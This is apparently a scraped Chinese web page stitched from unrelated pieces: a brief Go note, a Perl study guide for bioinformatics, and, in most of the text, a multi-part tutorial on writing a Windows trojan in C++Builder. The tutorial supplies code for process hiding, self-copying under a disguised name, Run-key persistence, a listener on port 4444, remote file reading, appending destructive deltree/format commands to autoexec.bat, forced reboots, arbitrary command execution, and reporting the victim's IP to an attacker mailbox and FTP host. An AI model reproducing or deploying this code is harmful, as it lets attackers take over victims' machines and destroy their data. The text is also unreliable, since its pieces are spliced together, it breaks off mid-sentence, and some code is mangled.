先使用 ioutil.ReadDir 遍历出指定目录下的文件，再递归进目录中遍历，问题的关键在于识别出文件为目录， fs.FileInfo 中有一个 IsDir() 函数可以识别是否是目录
正则匹配使用 regexp.MatchString ，regexp中有很多正则操作的工具，如根据正则替换字符串中的指定字符
木马是如何编写的（一）特洛依木马这个名词大家应该不陌生，自从98年“死牛崇拜”黑客小组公布Back Orifice以来，木马犹如平地上的惊雷，使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面，一时间人心惶惶。
我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了，吓得整天吃不下饭、睡不着觉、上不了网，到处求救！呵呵，要知道，木马（Trojan）的历史是很悠久的：早在AT&T Unix和BSD Unix十分盛行的年代，木马是由一些玩程式（主要是C）水平很高的年轻人（主要是老美）用C或Shell语言编写的，基本是用来窃取登陆主机的口令，以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件，用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的，对网络可以说很陌生。直到Win9x横空出世，尤其是WinNt的普及，大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Win9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马，听起来很Cool是不是？！木马一定是由两部分组成??服务器程序（Server）和客户端程序（Client），服务器负责打开攻击的道路，就像一个内奸特务；客户端负责攻击目标，两者需要一定的网络协议来进行通讯（一般是TCP/IP协议）。为了让大家更好的了解木马攻击技术，破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马，使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi，这里我们选用C++Builder（以下简称BCB）；VC虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上，我们选用可视化的BCB；Delphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO2000源代码，是VC编写的，网上俯拾皆是）；VB嘛，谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗？
启动C++Builder 5.0企业版，新建一个工程，添加三个VCL控件：一个是Internet页中的Server Socket，另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序，可以对外服务（对攻击者敞开大门）。Socket最初是在Unix上出现的，后来微软将它引入了Windows中（包括Win98和WinNt）；后两个控件的作用是用来使程序具有FTP（File Transfer Protocol文件传输协议）和SMTP（Simple Mail Transfer Protocol简单邮件传输协议）功能，大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的，这当然是不可思议的。不光占去了大量的空间（光一个Form就有300K之大），而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form，首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘，其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程（Service Process）就可以了。不过该函数的声明在Borland预先打包的头文件中没有，那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt：
{
DWORD dwVersion = GetVersion()
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x，不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD)
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess
hDLL = LoadLibrary("KERNEL32")
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess")
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1)
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL)
file://卸载动态链接库
}
}
这样就终于可以隐身了（害我敲了这么多代码！）。为什么要判断操作系统呢？因为WinNt中的进程管理器可以对当前进程一览无余，因此没必要在WinNt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。接着再将自己拷贝一份到%System%目录下，例如：C:\Windows\System，并修改注册表，以便启动时自动加载：
{
char TempPath[MAX_PATH]
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH)
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径
SystemPath=AnsiString(TempPath)
file://格式化TempPath字符串，使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE)
file://将自己拷贝到%System%目录下，并改名为Tapi32.exe，伪装起来
Registry=new TRegistry
file://定义一个TRegistry对象，准备修改注册表，这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE
file://设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE)
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就创建之
try
{
file://如果以下语句发生异常，跳至catch，以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe")
file://查找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是，就写入以上键值和内容
}
catch(...)
{
file://如果有错误，什么也不做
}
}
好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi32.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。
接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入4444，这是木马的端口号，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 ^_^）。你可以看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议的专用控制端口（FTP Control Port）；同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：
{
FILE *fp=NULL
char * content
int times_of_try
char TempFile[MAX_PATH]
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str())
file://在%System%下建立一个文本文件Win369.bat，作为临时文件使用
AnsiString temp=Socket->ReceiveText()
file://接收客户端（攻击者，也就是你自己）传来的数据
}
好，大门敞开了！接着就是修改目标机的各种配置了！^_^ 首先我们来修改Autoexec.bat和Config.sys吧：
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length()
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str())
file://将第11个字符转换成integer型，存入file_name变量
file://为什么要取第11个字符，因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str()
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL
char filename[20]
chmod("c:\\autoexec.bat",S_IREADS_IWRITE)
chmod("c:\\config.sys",S_IREADS_IWRITE)
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat")
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys")
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+")
file://如果文件不存在，创建之；如果存在，准备在其后添加
file://如果出错，文件指针为空，这样就会重复
times_of_try=times_of_try+1
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了，仍未成功
Socket->SendText("Fail By Open File")
file://就发回“Fail By Open File”的错误信息
goto END
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp)
file://写入添加的语句，例如deltree/y C:或者format/q/autotest C:，够毒吧？！
fclose(fp)
file://写完后关闭目标文件
Socket->SendText("Sucess")
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件，这回我们就来查看目标机上的目录树和文件吧，这在客户端上使用“dir”命令，跟着敲?：
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num
char * CR_LF="\n"
int attrib
char *filename
DIR *dir
struct dirent *ent
int number=temp.Length()
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3)
file://从字符串第六个字符开始，将后面的字符存入Dir_Name变量，这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket->SendText("Fail By Open DIR's Name")
file://返回“Fail By Open DIR's Name”信息
goto END
file://跳到END
}
char * dirname
dirname=Dir_Name.c_str()
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText("Fail by your DIR's name!")
file://返回“Fail By Your DIR's Name”信息
goto END
file://跳到END
}
times_of_try=0
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+")
file://就创建system\Win369.bat准备读和写；如果此文件已存在，则会被覆盖
times_of_try=times_of_try+1
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了，仍未成功（真有耐心！）
Socket->SendText("Fail By Open File")
file://就发回“Fail By Open File”的错误信息
goto END
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”，证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str()
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str()
file://如果是根目录，则不用加“\”
attrib=_rtl_chmod(filename, 0)
file://得到目标文件的访问属性
if (attrib &FA_RDONLY)
file://“&”字符是比较前后两个变量，如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp)
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp)
file://失败则写入空格
if (attrib &FA_HIDDEN)
fwrite("H",sizeof(char),1,fp)
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp)
file://失败则写入空格
if (attrib &FA_SYSTEM)
fwrite("S",sizeof(char),1,fp)
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp)
file://失败则写入空格
if (attrib &FA_ARCH)
fwrite("A",sizeof(char),1,fp)
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp)
file://失败则写入空格
if (attrib &FA_DIREC)
fwrite(" <DIR>",sizeof(char),9,fp)
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp)
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp)
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp)
file://写入换行
}
fclose(fp)
file://关闭文件
closedir(dir)
file://关闭目录
FILE *fp1=NULL
times_of_try=0
while(fp1==NULL)
{
fp1=fopen(TempFile,"r")
file://打开Win369.bat准备读
times_of_try=times_of_try+1
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了，仍未成功
Socket->SendText("Fail By Open File")
file://就发回“Fail By Open File”的错误信息
goto END
file://并跳到END处
}
}
AnsiString Return_Text=""
char temp_content[300]
for(int i=0i<300i++) temp_content[i]='\0'
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1)
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content
file://Return_Text变量加上刚才的300个字符
for(int i=0i<300i++) temp_content[i]='\0'
Read_Num=fread(temp_content,1,300,fp1)
file://重复
}
Return_Text=Return_Text+temp_content
file://Return_Text变量加上刚才的300个字符
fclose(fp1)
file://关闭目标文件
Socket->SendText(Return_Text)
file://返回Return_Text变量的内容
}
}
够长吧？！察看目录树这么费劲啊？！你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了，Client将使用“type”命令，（手指累不累啊？）：
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num
int number=temp.Length()
AnsiString File_Name=temp.SubString(6,number-4)
file://将目标文件流存入File_Name变量中
times_of_try=0
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r")
file://打开目标文件准备读
times_of_try=times_of_try+1
file://计数器加1
if(times_of_try>100)
{
file://如果已试了100次了
Socket->SendText("Fail By Open File")
file://返回“Fail By Open File”的错误信息
goto END
file://跳到END
}
}
AnsiString Return_Text=""
char temp_content[300]
for(int i=0i<300i++) temp_content[i]='\0'
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp)
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content
file://Return_Text的内容加上刚才的字符
for(int i=0i<300i++) temp_content[i]='\0'
Read_Num=fread(temp_content,1,300,fp)
file://重复
}
Return_Text=Return_Text+temp_content
file://Return_Text的内容加上刚才的字符
fclose(fp)
file://关闭目标文件
Socket->SendText(Return_Text)
file://返回Return_Text的内容，即你查看文件的内容
}
}
咳咳！累死了！还是来点轻松的吧??操纵目标机的光驱（注意：mciSendString()函数的声明在mmsystem.h头文件中）：
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL)
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL)
file://就收入光驱的托盘。当然你也可以搞个死循环，让他的光驱好好活动活动！^_^
}
}
接着就是交换目标机的鼠标左右键，代码如下：
{
else if(temp=="swap")
{
SwapMouseButton(1)
file://交换鼠标左右键，简单吧？
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利，一个普通的进程是不应具备有调用系统的权利的，因此我们要赋予本程序足够的权限：
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion()
file://得到操作系统的版本号
if (dwVersion <0x80000000)
{
file://操作系统是WinNt，不是Win9x
HANDLE hToken
TOKEN_PRIVILEGES tkp
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken)
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid)
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0)
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0)
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0)
file://强行退出Win9x并重启
}
}
如果以上都不是，就让它在Dos窗口中执行传来的命令：
{
else
{
file://如果都不是
char * CR_TF="\n"
times_of_try=0
while(fp==NULL)
{
fp=fopen(TempFile,"w+")
file://创建Win369.bat，如果已存在就覆盖
times_of_try=times_of_try+1
file://计数器加1
if(times_of_try>100)
{
Socket->SendText("Fail By Open File")
file://返回“Fail By Open File”的信息
goto END
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp)
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp)
file://写入换行符
fclose(fp)
file://关闭Win369.bat
system(TempFile)
file://执行Win369.bat
Socket->SendText("Success")
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况（判断是否是一个企业的局域网），然后可以进一步攻击，比如Deltree和Format命令。^_^
到此，服务器程序的功能已全部完成，但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友，别走开！（未完待续）
木马是如何编写的（三）
武汉 周侃
上次已编写完服务器端的各种功能，但还差容错部分还未完成,下面我们Go on! 其代码如下（照敲不误 ^_^）：
{
END:
Socket->Close()
file://关闭服务
ServerSocket1->Active =true
file://再次打开服务
if (NMSMTP1->Connected) NMSMTP1->Disconnect()
file://如果SMTP服务器已连接则断开
NMSMTP1->Host = "smtp.163.net"
file://选一个好用的SMTP服务器，如163、263、sina和btamail
NMSMTP1->UserID = ""
file://你SMTP的ID
try
{
NMSMTP1->Connect()
file://再次连接
}
catch(...)
{
goto NextTime
file://跳到NextTime
}
NMSMTP1->PostMessage->FromAddress ="I don't know!"
file://受害者的Email地址
NMSMTP1->PostMessage->FromName = "Casualty"
file://受害者的名字
NMSMTP1->PostMessage->ToAddress->Text = "[email protected]"
file://将信发到我的邮箱，这一步很关键
NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP
file://信的内容提示你“服务器正在运行”，并且告诉你受害者的目前的IP地址，以便连接
NMSMTP1->PostMessage->Subject = "Server Running Now!"
file://信的主题
NMSMTP1->SendMail()
file://发送！
return
file://返回
NextTime:
NMFTP1->Host = "ftp.go.163.com"
file://你的FTP服务器的地址
NMFTP1->UserID = ""
file://你的用户ID
NMFTP1->Port = 21
file://FTP端口号，一般为21
NMFTP1->Password = ""
file://你的FTP的密码
if(NMFTP1->Connected) NMFTP1->Disconnect()
file://如果已连接就断开
try
{
NMFTP1->Connect()
file://再连接
}
catch(...)
{
return
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP
file://受害者的IP地址
FILE * Upload
Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+")
file://创建一个新文件准备写，如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload)
file://写入以上的SendToSite的内容
fclose(Upload)
file://写完后关闭此文件
NMFTP1->RemoveDir("public_html")
file://删除public_html目录
NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP)
file://上传！
}
啊，超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件：
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#include <mmsystem.h>
至此，服务器端（Server）程序
Perl是典型的脚本语言，短小精悍，非常容易上手，尤其适合处理文本，数据，以及系统管理。它在老一辈的生物信息学分析人员中非常流行，出于历史遗留原因大家肯定会或多或少地接触 Perl，即使你再怎么推崇Python或者GO等新兴编程语言。1 入门资料
两个半小时入门指导：https://qntm.org/files/perl/perl.html
21天学完 perl，自己搜索下载PDF书籍吧！
大小骆驼书，建议都看完，以囫囵吞枣的方式阅读，只看基础知识来入门，难点全部跳过。
官网：https://www.perl.org/
函数如何用：都可以在http://perldoc.perl.org/perl.html 查到
论坛：http://www.perlmonks.org/
2 知识要点
在看书的同时，你必须记住和熟练使用的知识点是下面这些：
理解perl里面的三种变量表示方式
$ 表示单个变量
用单双引号区别，q(),qq()
@ 表示多个变量组成的数组，qw()
% 表示关系型变量-hash
变量不严格区分类型，没有int/float/double/char这样的概念
三种变量都有对应的操作技巧：
简单变量的操作函数
Numerical operators: <> >, <>>=, ==, !=, <=>, +, *
String operators:lt, gt, le, ge, eq, ne, cmp, ., x
数组操作(pop/push/shift/unshift/splice/map/grep/join/split/sort/reverse)
hash操作方式
(keys,values,each,delete,exists)
具体需要在实战里面体会：http://www.biotrainee.com/forum-90-1.html 生信人必练的200个数据处理任务(欢迎大家去练习)
变量内容交换，字符型转为数值型，字符串转为字符数组，字符串变量，heredoc，字符串分割，字符串截取，随机数生成，取整，各种概率分布数，多维矩阵如何操作，进制转换，hash翻转，数组转hash
上下文环境
这个比较复杂： http://www.perlmonks.org/?node_id=738558，就是需要理解你写的程序是如何判断你的变量的，你以为的不一定是你以为的。
正则表达式
这也是一个非常重要的一块内容，基础用法就是m和s，一个匹配，一个替换，比较有趣的就是1,2等等捕获变量。
内建变量
就是perl语言设计的时候定义了一大堆的全局变量($_ $, $0 $>$<$!="" $.="" @argv="" @f="" @_="" @inc="" %env="">)
。外表上看起来都是一个$ @ %符号后面加上一大堆的奇奇怪怪的字符，表示一些特殊变量，这也是perl语言饱受诟病的原因。但是有些非常重要，懂了它之后写程序会方便。下载一个表格，里面有近100个预定义变量需要学习的。
控制语句(循环/条件/判断)
if ... elsif ... else ...
unless/while/next/last/for/foreach
读写文件，脚本实战！
while(<>){
#do something !
}
这是我最喜欢的一个程序模板，读取文件，根据需要处理文件，然后输出。需要实现非常多的功能，然后就可以自己总结脚本技巧，也能完全掌握perl的各种语法。在生物信息学领域，需要实现的功能有！
perl 单行命令
我个人特别喜欢这个知识点，我也专门下载过一本书来学习，把这个教程看完就基本上能全明白：http://www.catonmat.net/blog/perl-one-liners-explained-part-one/。学习单行命令的前提是掌握非常多的奇奇怪怪的perl自定义变量和perl的基础语法，用熟练了之后就非常方便，很多生物信息学数据处理过程我现在基本不写脚本，都是直接写一行命令，完全代替了shell脚本里面的awk、sed/grep系列命令。(perl -p -a -n -a -l -i -F -M)
预定义函数
perl 是一个非常精简的语言，自定义的函数非常少，连min max这样常见的函数都没有，如果你需要使用这样的功能，要么自己写一个函数，要么使用加强版的包，perl的包非常多。
下面列出一些，我常用的函数：
程序必备： use/die/warn/print/open/close/<>/
数学函数：sin/cos/log/abs/rand/srand/sqrt
字符串函数 ：uc/lc/scaler/index/rindex/length/pos/substr/sprintf/chop/chomp/hex/int/oct/ord/chr/unpack/unencode
defined/undef
系统操作相关
perl语言是跨平台的，因为它的执行靠的是perl解释器，而perl的解释器可以安装在任何机器上面。所以可以用perl来代替很多系统管理工作。
系统命令调用
文件句柄操作(STDIN,STDOUT,STDERR,ARGV,DATA,)
系统文件管理(mkdir/chdir/opendir/closedir/readdir/telldir/rmdir/)
一些高级技巧
自定义函数 sub , 参数传递，数组传递，返回值
模块操作(模块安装，加载，模块路径，模块函数引用)
引用（变量的变量）
选择一个好的编辑器-编译器，editplus，notepad++，jEdit，编程习惯的养成。
搞清楚perl版本的问题，还有程序编码的问题，中文显示的问题。
程序调试
perl常见模块学习
perl和LWP/HTML做网络爬虫必备，重点是DOM如何解析；
perl和CGI编程，做网站的神器，重点是html基础知识；
DBI相关数据库，用perl来操作mysql等，当然，重点是mysql知识；
GD and GD::Graph 可以用来画图，但是基本上没有人用了，除了CIRCOS画圈圈图火起来了；
TK模块，可以编写GUI界面程序，但是也几乎没有人用了；
XML/pdf/excel/Json 相关的模块可以用来读取非文本格式数据，或者输出格式化报告；
socket通信相关，高手甚至可以写出一个QQ的模仿版本；
最后不得不提的就是Bioperl了，虽然我从来没有用过，但是它的确对初学者非常有用，大多数人不提倡重复造轮子，但我个人觉得，对初学者来说，重复造轮子是一个非常好的学习方式。大家可以仿造bioperl里面的各个功能，用自己的脚本来实现！
3 复习资料
如果你感觉学的差不多了，就可以下载一些复习资料，查漏补缺:
http://michaelgoerz.net/refcards/perl_refcard.pdf
https://rc.hms.harvard.edu/training/perl/Perl%20Cheat%20Sheet.pdf
https://www.cheatography.com/mishin/cheat-sheets/perl-reference-card/
http://www.catonmat.net/download/perl.predefined.variables.pdf
http://www.erudil.com/preqr.pdf
https://www.cs.tut.fi/~jkorpela/perl/regexp.html
https://support.sas.com/rnd/base/datastep/perl_regexp/regexp-tip-sheet.pdf
